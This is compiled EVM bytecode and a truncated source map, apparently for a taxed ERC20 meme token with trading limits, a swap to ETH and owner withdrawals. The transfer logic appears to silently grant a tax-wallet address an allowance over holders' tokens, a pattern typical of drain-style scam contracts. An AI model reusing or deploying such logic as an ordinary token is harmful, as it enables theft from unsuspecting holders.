0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105949190611838565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f6105c36009600a611813565b6105d2906461f313f880611821565b905090565b5f6105e3848484610b05565b61062f843361042a85604051806060016040528060288152602001611980602891396001600160a01b038a165f90815260036020908152604080832033845290915290205491906111ff565b5060019392505050565b5f546001600160a01b031633146106625760405162461bcd60e51b81526004016103d7906116ea565b600180546001600160a01b0319166001600160a01b0383161790556106896009600a611813565b610698906461f313f880611821565b600d556106a76009600a611813565b6106b6906461f313f880611821565b600e556001600160a01b0381165f908152600460205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107086009600a611813565b610717906461f313f880611821565b60405190815260200160405180910390a150565b5f546001600160a01b031633146107545760405162461bcd60e51b81526004016103d7906116ea565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107c55760405162461bcd60e51b81526004016103d7906116ea565b60405133904780156108fc02915f818181858888f193505050501580156107ee573d5f803e3d5ffd5b50565b5f6103a4338484610b05565b5f546001600160a01b031633146108265760405162461bcd60e51b81526004016103d7906116ea565b601254600160a01b900460ff16156108805760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103d7565b6011546001600160a01b031663f305d71947306108b1816001600160a01b03165f9081526002602052604090205490565b5f806108c45f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061094f9190611853565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109a4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c8919061187e565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d7565b6001600160a01b038216610aa55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d7565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b695760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d7565b6001600160a01b038216610bcb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d7565b5f8111610c2c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d7565b6012545f90600160b01b900460ff161580610c505750601254600160a81b900460ff165b15610d08576001600160a01b0384165f90815260026020526040902054610c7890839061189d565b6001600160a01b038086165f908152600260205260408082209390935590851681522054610ca79083906118b0565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cfa9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d3257505f546001600160a01b03848116911614155b156110cb576012546001600160a01b038581169116148015610d6257506011546001600160a01b03848116911614155b8015610d8657506001600160a01b0383165f9081526004602052604090205460ff16155b15610eeb57601254600160a01b900460ff16610ddc5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016103d7565b610e086064610e02600954600c5411610df757600554610dfb565b6007545b8590611237565b906112bc565b9050600d54821115610e5c5760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d617848416d6f756e742e000000000000000060448201526064016103d7565b600e5482610e7e856001600160a01b03165f9081526002602052604090205490565b610e8891906118b0565b1115610ed65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d7565b600c8054905f610ee5836118c3565b91905055505b60408051808201909152601254610f40919081906001600160a01b03888116911614610f22576012546001600160a01b0316610f24565b865b6001600160a01b039081168252600154166020909101526112fd565b8015610f5a57506012546001600160a01b03848116911614155b8015610f7e57506001600160a01b0383165f9081526004602052604090205460ff16155b15610ffd57600e5482610fa5856001600160a01b03165f9081526002602052604090205490565b610faf91906118b0565b1115610ffd5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d7565b6012546001600160a01b039081169084160361103b576110386064610e02600a54600c541161102e57600654610dfb565b6008548590611237565b90505b601254600160a81b900460ff1615801561106257506012546001600160a01b038481169116145b80156110775750601254600160b01b900460ff165b80156110865750600b54600c54115b156110cb57305f90815260026020526040902054600f548111156110c1576110c16110bc846110b784601054611362565b611362565b611376565b6110c96114e6565b505b801561114357305f908152600260205260409020546110ea908261151c565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061113a9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260026020526040902054611165908361157a565b6001600160a01b0385165f908152600260205260409020556111a861118a838361157a565b6001600160a01b0385165f908152600260205260409020549061151c565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111f1858561157a565b604051908152602001610cfa565b5f81848411156112225760405162461bcd60e51b81526004016103d791906115e7565b505f61122e848661189d565b95945050505050565b5f825f0361124657505f6103a8565b5f6112518385611821565b90508261125e85836118db565b146112b55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d7565b9392505050565b5f6112b583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115bb565b80516020820151600e545f929190611331906103e890600a906113219060646118b0565b61132b919061189d565b90611237565b6001600160a01b039283165f9081526003602090815260408083209490951682529290925291902055506001919050565b5f81831161137057826112b5565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113bc576113bc6118fa565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611413573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114379190611838565b8160018151811061144a5761144a6118fa565b6001600160a01b03928316602091820292909201015260115461147091309116846109e2565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a89085905f9086903090429060040161190e565b5f604051808303815f87803b1580156114bf575f80fd5b505af11580156114d1573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6001546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107ee573d5f803e3d5ffd5b5f8061152883856118b0565b9050838110156112b55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d7565b5f6112b583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ff565b5f81836115db5760405162461bcd60e51b81526004016103d791906115e7565b505f61122e84866118db565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107ee575f80fd5b5f8060408385031215611641575f80fd5b823561164c8161161c565b946020939093013593505050565b5f805f6060848603121561166c575f80fd5b83356116778161161c565b925060208401356116878161161c565b929592945050506040919091013590565b5f602082840312156116a8575f80fd5b81356112b58161161c565b5f80604083850312156116c4575f80fd5b82356116cf8161161c565b915060208301356116df8161161c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176d57815f19048211156117535761175361171f565b8085161561176057918102915b93841c9390800290611738565b509250929050565b5f82611783575060016103a8565b8161178f57505f6103a8565b81600181146117a557600281146117af576117cb565b60019150506103a8565b60ff8411156117c0576117c061171f565b50506001821b6103a8565b5060208310610133831016604e8410600b84101617156117ee575081810a6103a8565b6117f88383611733565b805f190482111561180b5761180b61171f565b029392505050565b5f6112b560ff841683611775565b80820281158282048414176103a8576103a861171f565b5f60208284031215611848575f80fd5b81516112b58161161c565b5f805f60608486031215611865575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561188e575f80fd5b815180151581146112b5575f80fd5b818103818111156103a8576103a861171f565b808201808211156103a8576103a861171f565b5f600182016118d4576118d461171f565b5060010190565b5f826118f557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561195e5784516001600160a01b031683529383019391830191600101611939565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220baab56806cb36e0fcdf3f420292ed328be173ac322d11d4b230ae6bc48adc1a164736f6c63430008190033

3822:7611:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4672:46;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4672:46:0;;;;;;;;5843:83;;;;;;;;;;-1:-1:-1;5913:5:0;;;;;;;;;;;;-1:-1:-1;;;5913:5:0;;;;5843:83;;;;;;;:::i;6977:161::-;;;;;;;;;;-1:-1:-1;6977:161:0;;;;;:::i;:::-;;:::i;:::-;;;1240:14:1;;1233:22;1215:41;;1203:2;1188:18;6977:161:0;1075:187:1;5469:368:0;;;;;;;;;;;;;:::i;:::-;;4837:46;;;;;;;;;;;;;;;;6114:95;;;;;;;;;;;;;:::i;6660:311::-;;;;;;;;;;-1:-1:-1;6660:311:0;;;;;:::i;:::-;;:::i;6025:83::-;;;;;;;;;;-1:-1:-1;6025:83:0;;4479:1;1870:36:1;;1858:2;1843:18;6025:83:0;1728:184:1;10129:242:0;;;;;;;;;;-1:-1:-1;10129:242:0;;;;;:::i;:::-;;:::i;4725:46::-;;;;;;;;;;;;;;;;6215:119;;;;;;;;;;-1:-1:-1;6215:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6308:18:0;6281:7;6308:18;;;:9;:18;;;;;;;6215:119;3667:148;;;;;;;;;;;;;:::i;3457:79::-;;;;;;;;;;-1:-1:-1;3495:7:0;3522:6;3457:79;;-1:-1:-1;;;;;3522:6:0;;;2575:51:1;;2563:2;2548:18;3457:79:0;2429:203:1;5932:87:0;;;;;;;;;;-1:-1:-1;6004:7:0;;;;;;;;;;;;-1:-1:-1;;;6004:7:0;;;;5932:87;;10702:114;;;;;;;;;;;;;:::i;6340:167::-;;;;;;;;;;-1:-1:-1;6340:167:0;;;;;:::i;:::-;;:::i;4778:52::-;;;;;;;;;;;;;;;;10962:468;;;;;;;;;;;;;:::i;6513:141::-;;;;;;;;;;-1:-1:-1;6513:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;6621:16:0;;;6594:7;6621:16;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;6513:141;6977:161;7052:4;7069:39;1139:10;7092:7;7101:6;7069:8;:39::i;:::-;-1:-1:-1;7126:4:0;6977:161;;;;;:::o;5469:368::-;3582:6;;-1:-1:-1;;;;;3582:6:0;1139:10;3582:22;3574:67;;;;-1:-1:-1;;;3574:67:0;;;;;;;:::i;:::-;;;;;;;;;5523:10:::1;:99:::0;;-1:-1:-1;;;;;;5523:99:0::1;5569:42;5523:99:::0;;::::1;::::0;;;5633:53:::1;::::0;5650:4:::1;::::0;4537:15:::1;4479:1;4537:2;:15;:::i;:::-;4522:30;::::0;:12:::1;:30;:::i;:::-;5633:8;:53::i;:::-;5726:10;;;;;;;;;-1:-1:-1::0;;;;;5726:10:0::1;-1:-1:-1::0;;;;;5726:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5708:50:0::1;;5781:4;5801:10;;;;;;;;;-1:-1:-1::0;;;;;5801:10:0::1;-1:-1:-1::0;;;;;5801:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5708:121;::::0;-1:-1:-1;;;;;;5708:121:0::1;::::0;;;;;;-1:-1:-1;;;;;5559:15:1;;;5708:121:0::1;::::0;::::1;5541:34:1::0;5611:15;;5591:18;;;5584:43;5476:18;;5708:121:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5697:8;:132:::0;;-1:-1:-1;;;;;;5697:132:0::1;-1:-1:-1::0;;;;;5697:132:0;;;::::1;::::0;;;::::1;::::0;;5469:368::o;6114:95::-;6167:7;4537:15;4479:1;4537:2;:15;:::i;:::-;4522:30;;:12;:30;:::i;:::-;6187:14;;6114:95;:::o;6660:311::-;6758:4;6775:36;6785:6;6793:9;6804:6;6775:9;:36::i;:::-;6822:119;6831:6;1139:10;6853:87;6889:6;6853:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6853:17:0;;;;;;:9;:17;;;;;;;;1139:10;6853:31;;;;;;;;;;:35;:87::i;6822:119::-;-1:-1:-1;6959:4:0;6660:311;;;;;:::o;10129:242::-;3582:6;;-1:-1:-1;;;;;3582:6:0;1139:10;3582:22;3574:67;;;;-1:-1:-1;;;3574:67:0;;;;;;;:::i;:::-;10203:8:::1;:16:::0;;-1:-1:-1;;;;;;10203:16:0::1;-1:-1:-1::0;;;;;10203:16:0;::::1;;::::0;;4537:15:::1;4479:1;4537:2;:15;:::i;:::-;4522:30;::::0;:12:::1;:30;:::i;:::-;10230:11;:19:::0;4537:15:::1;4479:1;4537:2;:15;:::i;:::-;4522:30;::::0;:12:::1;:30;:::i;:::-;10261:11;:19:::0;-1:-1:-1;;;;;10291:22:0;::::1;;::::0;;;:15:::1;:22;::::0;;;;:29;;-1:-1:-1;;10291:29:0::1;10316:4;10291:29;::::0;;10336:27:::1;4537:15;4479:1;4537:2;:15;:::i;:::-;4522:30;::::0;:12:::1;:30;:::i;:::-;10336:27;::::0;160:25:1;;;148:2;133:18;10336:27:0::1;;;;;;;10129:242:::0;:::o;3667:148::-;3582:6;;-1:-1:-1;;;;;3582:6:0;1139:10;3582:22;3574:67;;;;-1:-1:-1;;;3574:67:0;;;;;;;:::i;:::-;3774:1:::1;3758:6:::0;;3737:40:::1;::::0;-1:-1:-1;;;;;3758:6:0;;::::1;::::0;3737:40:::1;::::0;3774:1;;3737:40:::1;3805:1;3788:19:::0;;-1:-1:-1;;;;;;3788:19:0::1;::::0;;3667:148::o;10702:114::-;3582:6;;-1:-1:-1;;;;;3582:6:0;1139:10;3582:22;3574:67;;;;-1:-1:-1;;;3574:67:0;;;;;;;:::i;:::-;10755:53:::1;::::0;1139:10;;10786:21:::1;10755:53:::0;::::1;;;::::0;::::1;::::0;;;10786:21;1139:10;10755:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10702:114::o:0;6340:167::-;6418:4;6435:42;1139:10;6459:9;6470:6;6435:9;:42::i;10962:468::-;3582:6;;-1:-1:-1;;;;;3582:6:0;1139:10;3582:22;3574:67;;;;-1:-1:-1;;;3574:67:0;;;;;;;:::i;:::-;11024:11:::1;::::0;-1:-1:-1;;;11024:11:0;::::1;;;11023:12;11015:48;;;::::0;-1:-1:-1;;;11015:48:0;;5840:2:1;11015:48:0::1;::::0;::::1;5822:21:1::0;5879:2;5859:18;;;5852:30;5918:25;5898:18;;;5891:53;5961:18;;11015:48:0::1;5638:347:1::0;11015:48:0::1;11074:10;::::0;-1:-1:-1;;;;;11074:10:0::1;:26;11108:21;11153:4;11173:24;11153:4:::0;-1:-1:-1;;;;;6308:18:0;6281:7;6308:18;;;:9;:18;;;;;;;6215:119;11173:24:::1;11212:1;11228::::0;11244:7:::1;3495::::0;3522:6;-1:-1:-1;;;;;3522:6:0;;3457:79;11244:7:::1;11074:218;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11074:218:0;;;-1:-1:-1;;;;;6349:15:1;;;11074:218:0::1;::::0;::::1;6331:34:1::0;6381:18;;;6374:34;;;;6424:18;;;6417:34;;;;6467:18;;;6460:34;6531:15;;;6510:19;;;6503:44;11266:15:0::1;6563:19:1::0;;;6556:35;6265:19;;11074:218:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11310:8:0::1;::::0;11336:10:::1;::::0;11303:61:::1;::::0;-1:-1:-1;;;11303:61:0;;-1:-1:-1;;;;;11336:10:0;;::::1;11303:61;::::0;::::1;7087:51:1::0;-1:-1:-1;;7154:18:1;;;7147:34;11310:8:0;::::1;::::0;-1:-1:-1;11303:24:0::1;::::0;7060:18:1;;11303:61:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11375:11:0::1;:18:::0;;-1:-1:-1;;;;11404:18:0;-1:-1:-1;;;11404:18:0;;;10962:468::o;7144:333::-;-1:-1:-1;;;;;7237:19:0;;7229:68;;;;-1:-1:-1;;;7229:68:0;;7676:2:1;7229:68:0;;;7658:21:1;7715:2;7695:18;;;7688:30;7754:34;7734:18;;;7727:62;-1:-1:-1;;;7805:18:1;;;7798:34;7849:19;;7229:68:0;7474:400:1;7229:68:0;-1:-1:-1;;;;;7316:21:0;;7308:68;;;;-1:-1:-1;;;7308:68:0;;8081:2:1;7308:68:0;;;8063:21:1;8120:2;8100:18;;;8093:30;8159:34;8139:18;;;8132:62;-1:-1:-1;;;8210:18:1;;;8203:32;8252:19;;7308:68:0;7879:398:1;7308:68:0;-1:-1:-1;;;;;7387:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;;;7437:32;;160:25:1;;;7437:32:0;;133:18:1;7437:32:0;;;;;;;7144:333;;;:::o;7483:2187::-;-1:-1:-1;;;;;7571:18:0;;7563:68;;;;-1:-1:-1;;;7563:68:0;;8484:2:1;7563:68:0;;;8466:21:1;8523:2;8503:18;;;8496:30;8562:34;8542:18;;;8535:62;-1:-1:-1;;;8613:18:1;;;8606:35;8658:19;;7563:68:0;8282:401:1;7563:68:0;-1:-1:-1;;;;;7650:16:0;;7642:64;;;;-1:-1:-1;;;7642:64:0;;8890:2:1;7642:64:0;;;8872:21:1;8929:2;8909:18;;;8902:30;8968:34;8948:18;;;8941:62;-1:-1:-1;;;9019:18:1;;;9012:33;9062:19;;7642:64:0;8688:399:1;7642:64:0;7734:1;7725:6;:10;7717:64;;;;-1:-1:-1;;;7717:64:0;;9294:2:1;7717:64:0;;;9276:21:1;9333:2;9313:18;;;9306:30;9372:34;9352:18;;;9345:62;-1:-1:-1;;;9423:18:1;;;9416:39;9472:19;;7717:64:0;9092:405:1;7717:64:0;7827:11;;7792:17;;-1:-1:-1;;;7827:11:0;;;;7826:12;;:22;;-1:-1:-1;7842:6:0;;-1:-1:-1;;;7842:6:0;;;;7826:22;7822:217;;;-1:-1:-1;;;;;7883:15:0;;;;;;:9;:15;;;;;;:24;;7901:6;;7883:24;:::i;:::-;-1:-1:-1;;;;;7865:15:0;;;;;;;:9;:15;;;;;;:42;;;;7938:13;;;;;;;:22;;7954:6;;7938:22;:::i;:::-;-1:-1:-1;;;;;7922:13:0;;;;;;;:9;:13;;;;;;;:38;;;;7980:26;;;;;;;;;;7999:6;160:25:1;;148:2;133:18;;14:177;7980:26:0;;;;;;;;8021:7;7483:2187;;;:::o;7822:217::-;3495:7;3522:6;-1:-1:-1;;;;;8053:15:0;;;3522:6;;8053:15;;;;:32;;-1:-1:-1;3495:7:0;3522:6;-1:-1:-1;;;;;8072:13:0;;;3522:6;;8072:13;;8053:32;8049:1267;;;8114:8;;-1:-1:-1;;;;;8106:16:0;;;8114:8;;8106:16;:45;;;;-1:-1:-1;8140:10:0;;-1:-1:-1;;;;;8126:25:0;;;8140:10;;8126:25;;8106:45;:70;;;;-1:-1:-1;;;;;;8157:19:0;;;;;;:15;:19;;;;;;;;8155:21;8106:70;8102:466;;;8206:11;;-1:-1:-1;;;8206:11:0;;;;8198:44;;;;-1:-1:-1;;;8198:44:0;;9967:2:1;8198:44:0;;;9949:21:1;10006:2;9986:18;;;9979:30;-1:-1:-1;;;10025:18:1;;;10018:51;10086:18;;8198:44:0;9765:345:1;8198:44:0;8273:76;8345:3;8273:67;8295:15;;8285:9;;:25;8284:55;;8325:14;;8284:55;;;8312:12;;8284:55;8273:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8261:88;;8386:11;;8376:6;:21;;8368:58;;;;-1:-1:-1;;;8368:58:0;;10317:2:1;8368:58:0;;;10299:21:1;10356:2;10336:18;;;10329:30;10395:26;10375:18;;;10368:54;10439:18;;8368:58:0;10115:348:1;8368:58:0;8479:11;;8469:6;8453:13;8463:2;-1:-1:-1;;;;;6308:18:0;6281:7;6308:18;;;:9;:18;;;;;;;6215:119;8453:13;:22;;;;:::i;:::-;:37;;8445:76;;;;-1:-1:-1;;;8445:76:0;;10670:2:1;8445:76:0;;;10652:21:1;10709:2;10689:18;;;10682:30;10748:28;10728:18;;;10721:56;10794:18;;8445:76:0;10468:350:1;8445:76:0;8540:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8102:466;8586:47;;;;;;;;;8599:8;;8586:47;;;;;-1:-1:-1;;;;;8593:14:0;;;8599:8;;8593:14;:28;;8613:8;;-1:-1:-1;;;;;8613:8:0;8593:28;;;8608:4;8593:28;-1:-1:-1;;;;;8586:47:0;;;;;8623:8;;;8586:47;;;;;:5;:47::i;:::-;:65;;;;-1:-1:-1;8643:8:0;;-1:-1:-1;;;;;8637:14:0;;;8643:8;;8637:14;;8586:65;:90;;;;-1:-1:-1;;;;;;8657:19:0;;;;;;:15;:19;;;;;;;;8655:21;8586:90;8582:207;;;8731:11;;8721:6;8705:13;8715:2;-1:-1:-1;;;;;6308:18:0;6281:7;6308:18;;;:9;:18;;;;;;;6215:119;8705:13;:22;;;;:::i;:::-;:37;;8697:76;;;;-1:-1:-1;;;8697:76:0;;10670:2:1;8697:76:0;;;10652:21:1;10709:2;10689:18;;;10682:30;10748:28;10728:18;;;10721:56;10794:18;;8697:76:0;10468:350:1;8697:76:0;8812:8;;-1:-1:-1;;;;;8812:8:0;;;8806:14;;;;8803:145;;8853:79;8928:3;8853:70;8875:16;;8865:9;;:26;8864:58;;8907:15;;8864:58;;;8893:13;;8853:6;;:10;:70::i;:79::-;8841:91;;8803:145;8967:6;;-1:-1:-1;;;8967:6:0;;;;8966:7;:25;;;;-1:-1:-1;8983:8:0;;-1:-1:-1;;;;;8977:14:0;;;8983:8;;8977:14;8966:25;:40;;;;-1:-1:-1;8995:11:0;;-1:-1:-1;;;8995:11:0;;;;8966:40;:72;;;;;9020:18;;9010:9;;:28;8966:72;8962:343;;;9108:4;9059:28;6308:18;;;:9;:18;;;;;;9157:17;;9136:38;;9133:125;;;9197:61;9208:49;9212:6;9219:37;9223:20;9244:11;;9219:3;:37::i;:::-;9208:3;:49::i;:::-;9197:10;:61::i;:::-;9277:12;:10;:12::i;:::-;9040:265;8962:343;9329:11;;9326:161;;9397:4;9379:24;;;;:9;:24;;;;;;:39;;9408:9;9379:28;:39::i;:::-;9372:4;9354:24;;;;:9;:24;;;;;;;:64;;;;9436:39;;-1:-1:-1;;;;;9436:39:0;;;;;;;9465:9;160:25:1;;148:2;133:18;;14:177;9436:39:0;;;;;;;;9326:161;-1:-1:-1;;;;;9513:15:0;;;;;;:9;:15;;;;;;:27;;9533:6;9513:19;:27::i;:::-;-1:-1:-1;;;;;9497:15:0;;;;;;:9;:15;;;;;:43;9565:40;9583:21;:6;9594:9;9583:10;:21::i;:::-;-1:-1:-1;;;;;9565:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9551:13:0;;;;;;;:9;:13;;;;;:54;;;;9621:41;;;9640:21;:6;9651:9;9640:10;:21::i;:::-;9621:41;;160:25:1;;;148:2;133:18;9621:41:0;14:177:1;1513:190:0;1599:7;1635:12;1627:6;;;;1619:29;;;;-1:-1:-1;;;1619:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1659:9:0;1671:5;1675:1;1671;:5;:::i;:::-;1659:17;1513:190;-1:-1:-1;;;;;1513:190:0:o;1709:246::-;1767:7;1791:1;1796;1791:6;1787:47;;-1:-1:-1;1821:1:0;1814:8;;1787:47;1844:9;1856:5;1860:1;1856;:5;:::i;:::-;1844:17;-1:-1:-1;1889:1:0;1880:5;1884:1;1844:17;1880:5;:::i;:::-;:10;1872:56;;;;-1:-1:-1;;;1872:56:0;;11387:2:1;1872:56:0;;;11369:21:1;11426:2;11406:18;;;11399:30;11465:34;11445:18;;;11438:62;-1:-1:-1;;;11516:18:1;;;11509:31;11557:19;;1872:56:0;11185:397:1;1872:56:0;1946:1;1709:246;-1:-1:-1;;;1709:246:0:o;1961:132::-;2019:7;2046:39;2050:1;2053;2046:39;;;;;;;;;;;;;;;;;:3;:39::i;10377:224::-;10467:9;;;10495;;;10542:11;;10434:4;;10467:9;10495;10541:30;;10566:4;;10558:2;;10542:15;;10554:3;10542:15;:::i;:::-;:18;;;;:::i;:::-;10541:24;;:30::i;:::-;-1:-1:-1;;;;;10515:17:0;;;;;;;:9;:17;;;;;;;;:25;;;;;;;;;;;;;:56;-1:-1:-1;10589:4:0;;10377:224;-1:-1:-1;10377:224:0:o;10822:99::-;10878:7;10907:1;10905;:3;10904:9;;10912:1;10904:9;;;-1:-1:-1;10910:1:0;10822:99;-1:-1:-1;10822:99:0:o;9676:447::-;5134:6;:13;;-1:-1:-1;;;;5134:13:0;-1:-1:-1;;;5134:13:0;;;9767:16:::1;::::0;;9781:1:::1;9767:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9767:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9767:16:0::1;9743:40;;9812:4;9794;9799:1;9794:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9794:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9838:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;9838:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;9794:7;;9838:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9828:4;9833:1;9828:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9828:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;9898:10:::1;::::0;9866:52:::1;::::0;9883:4:::1;::::0;9898:10:::1;9911:6:::0;9866:8:::1;:52::i;:::-;9929:10;::::0;:186:::1;::::0;-1:-1:-1;;;9929:186:0;;-1:-1:-1;;;;;9929:10:0;;::::1;::::0;:61:::1;::::0;:186:::1;::::0;10005:6;;9929:10:::1;::::0;10042:4;;10069::::1;::::0;10089:15:::1;::::0;9929:186:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5170:6:0;:14;;-1:-1:-1;;;;5170:14:0;;;-1:-1:-1;;;;9676:447:0:o;10607:89::-;10648:8;;:40;;-1:-1:-1;;;;;10648:8:0;;;;10666:21;10648:40;;;;;:8;:40;:8;:40;10666:21;10648:8;:40;;;;;;;;;;;;;;;;;;;1186:179;1244:7;;1276:5;1280:1;1276;:5;:::i;:::-;1264:17;;1305:1;1300;:6;;1292:46;;;;-1:-1:-1;;;1292:46:0;;13038:2:1;1292:46:0;;;13020:21:1;13077:2;13057:18;;;13050:30;13116:29;13096:18;;;13089:57;13163:18;;1292:46:0;12836:351:1;1371:136:0;1429:7;1456:43;1460:1;1463;1456:43;;;;;;;;;;;;;;;;;:3;:43::i;2099:189::-;2185:7;2220:12;2213:5;2205:28;;;;-1:-1:-1;;;2205:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2244:9:0;2256:5;2260:1;2256;:5;:::i;196:418:1:-;345:2;334:9;327:21;308:4;377:6;371:13;420:6;415:2;404:9;400:18;393:34;479:6;474:2;466:6;462:15;457:2;446:9;442:18;436:50;535:1;530:2;521:6;510:9;506:22;502:31;495:42;605:2;598;594:7;589:2;581:6;577:15;573:29;562:9;558:45;554:54;546:62;;;196:418;;;;:::o;619:131::-;-1:-1:-1;;;;;694:31:1;;684:42;;674:70;;740:1;737;730:12;755:315;823:6;831;884:2;872:9;863:7;859:23;855:32;852:52;;;900:1;897;890:12;852:52;939:9;926:23;958:31;983:5;958:31;:::i;:::-;1008:5;1060:2;1045:18;;;;1032:32;;-1:-1:-1;;;755:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659: